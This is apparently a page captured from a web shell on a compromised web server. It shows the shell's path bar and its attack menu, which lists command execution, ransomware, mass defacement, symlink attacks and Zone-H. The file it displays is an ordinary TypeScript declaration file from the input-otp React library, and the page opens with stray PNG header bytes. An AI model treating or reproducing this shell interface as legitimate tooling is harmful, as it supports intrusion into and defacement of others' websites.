\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82
| Path : /var/www/html/biogreenas/BiogreenMangal/node_modules/input-otp/dist/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : /var/www/html/biogreenas/BiogreenMangal/node_modules/input-otp/dist/index.d.mts |
import * as React$1 from 'react';
interface SlotProps {
isActive: boolean;
char: string | null;
placeholderChar: string | null;
hasFakeCaret: boolean;
}
interface RenderProps {
slots: SlotProps[];
isFocused: boolean;
isHovering: boolean;
}
type OverrideProps<T, R> = Omit<T, keyof R> & R;
type OTPInputBaseProps = OverrideProps<React.InputHTMLAttributes<HTMLInputElement>, {
value?: string;
onChange?: (newValue: string) => unknown;
maxLength: number;
textAlign?: 'left' | 'center' | 'right';
onComplete?: (...args: any[]) => unknown;
pushPasswordManagerStrategy?: 'increase-width' | 'none';
pasteTransformer?: (pasted: string) => string;
containerClassName?: string;
noScriptCSSFallback?: string | null;
}>;
type InputOTPRenderFn = (props: RenderProps) => React.ReactNode;
type OTPInputProps = OTPInputBaseProps & ({
render: InputOTPRenderFn;
children?: never;
} | {
render?: never;
children: React.ReactNode;
});
declare const OTPInputContext: React$1.Context<RenderProps>;
declare const OTPInput: React$1.ForwardRefExoticComponent<OTPInputProps & React$1.RefAttributes<HTMLInputElement>>;
declare const REGEXP_ONLY_DIGITS = "^\\d+$";
declare const REGEXP_ONLY_CHARS = "^[a-zA-Z]+$";
declare const REGEXP_ONLY_DIGITS_AND_CHARS = "^[a-zA-Z0-9]+$";
export { OTPInput, OTPInputContext, type OTPInputProps, REGEXP_ONLY_CHARS, REGEXP_ONLY_DIGITS, REGEXP_ONLY_DIGITS_AND_CHARS, type RenderProps, type SlotProps };